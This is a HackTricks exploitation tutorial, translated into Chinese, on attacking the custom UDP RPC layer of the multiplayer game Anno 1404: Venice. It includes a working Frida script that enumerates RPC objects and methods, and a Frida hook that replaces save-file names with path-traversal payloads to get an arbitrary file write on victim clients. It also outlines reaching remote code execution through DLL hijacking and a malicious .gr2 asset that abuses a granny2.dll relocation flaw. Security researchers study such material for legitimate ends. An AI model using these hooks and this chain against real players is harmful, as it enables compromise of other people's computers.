自定义 UDP RPC 枚举与文件传输滥用

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

使用 Frida 映射专有 RPC 对象

较早的多人游戏常在 UDP 之上内嵌自研的 RPC 栈。在 Anno 1404: Venice 中,这在 NetComEngine3.dll 内通过 RMC_CallMessage 调度器实现,它从每个数据报中解析出 5 个字段:

字段用途
IDRPC verb (16-bit)
FlagsTransport modifiers (reliability, ordering)
SourceObject ID of the caller
TargetObjectRemote object instance
MethodMethod index inside the target class

两个辅助函数——ClassToMethodName()TargetName()——将原始 ID 转换为用于日志的人类可读字符串。通过 brute-forcing 24‑bit 对象 ID 和 16‑bit 方法 ID 并调用这些辅助函数,我们可以枚举整个远程可达的攻击面,而无需流量捕获或 symbol leaks。

Frida 表面枚举(简化) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

运行 `frida -l explore-surface.js Addon.exe` 发出了完整的 RPC 映射,包括 `Player` 对象 (`0x7400000`) 及其文件传输动词 `OnSendFileInit`、`OnSendFileData`、`OnReceivedFileData` 和 `OnCancelSendFile`。同样的工作流适用于任何暴露内部反射助手的二进制协议:拦截 dispatcher、brute-force IDs,并记录引擎已知的每个可调用方法的信息。

### 提示

- 使用引擎自带的日志缓冲区(本例中为 `WString::Format`)以避免重写未记录的字符串编码。
- 在尝试 fuzzing 之前 dump `Flags` 以识别可靠性特性(ACK、resend requests);自定义 UDP stacks 通常会静默丢弃格式错误的数据包。
- 保存枚举出的映射 —— 它可作为 fuzzing 语料,并能清楚显示哪些对象操作 filesystem、world state 或 in-game scripting。

## 滥用文件传输 RPCs

多人游戏存档同步使用了一个两包握手:

1. `OnSendFileInit` — 携带客户端在保存接收负载时应使用的 UTF‑16 文件名。
2. `OnSendFileData` — 以固定大小的分块流式传输原始文件内容。

因为服务器在发送之前通过 `ByteStreamWriteString()` 序列化文件名,所以可以在 Frida hook 中替换指向 traversal payload 的指针,同时保持数据包大小不变。

<details>
<summary>文件名替换器</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

受害客户端没有做任何清理,直接将接收到的保存写入到恶意主机提供的任意路径,例如写入到 C:\User\user 而不是预期的 ...\Savegames\MPShare 目录。在 Windows 上的 Anno 1404 安装目录对所有用户可写,因此该遍历立刻变成了任意文件写入原语:

  • Drop DLLs 以便在下次启动时进行 classic search-order hijacking,或
  • Overwrite asset archives (RDA files),使 weaponized 的模型、纹理或脚本在同一会话中被实时加载。

防御 / 攻击 其他 目标

  • 搜索名为 SendFileUploadShareSave 等的 RPC 动词,然后拦截负责文件名或目标目录序列化的 helper。
  • 即使文件名进行了长度检查,许多堆栈仍然忘记对 ..\ 或混合的 /\ 序列进行规范化;brute-force 所有分隔符。
  • 当接收方将文件存储在游戏安装路径下时,通过 icacls 检查 ACLs,以确认非特权用户是否能在那儿放置代码。

将路径遍历转为实时资产执行

一旦能上传任意字节,就替换任何被频繁加载的资产:

  1. Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with srand(0xA2C2A) seeded streams. Tools like RDAExplorer re-pack archives after edits.
  2. Inject a malicious .gr2. 被特洛伊化的 Granny 3D 文件携带了一个重定位漏洞,它覆盖了 SectionContentArray,并通过一个两阶段的重定位序列在 granny2.dll 内部获得任意的 4 字节写入。
  3. Hijack allocator callbacks. 在 ASLR 被禁用且 DEP 关闭的情况下,替换 granny2.dll 中的 malloc/free 函数指针会将下一次分配重定向到你的 shellcode,从而立刻获得 RCE,而无需等待受害者重启游戏。

这一模式可推广到任何从二进制归档流式加载结构化资产的游戏:结合 RPC 级别的遍历用于投递和不安全的重定位解析用于代码执行。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks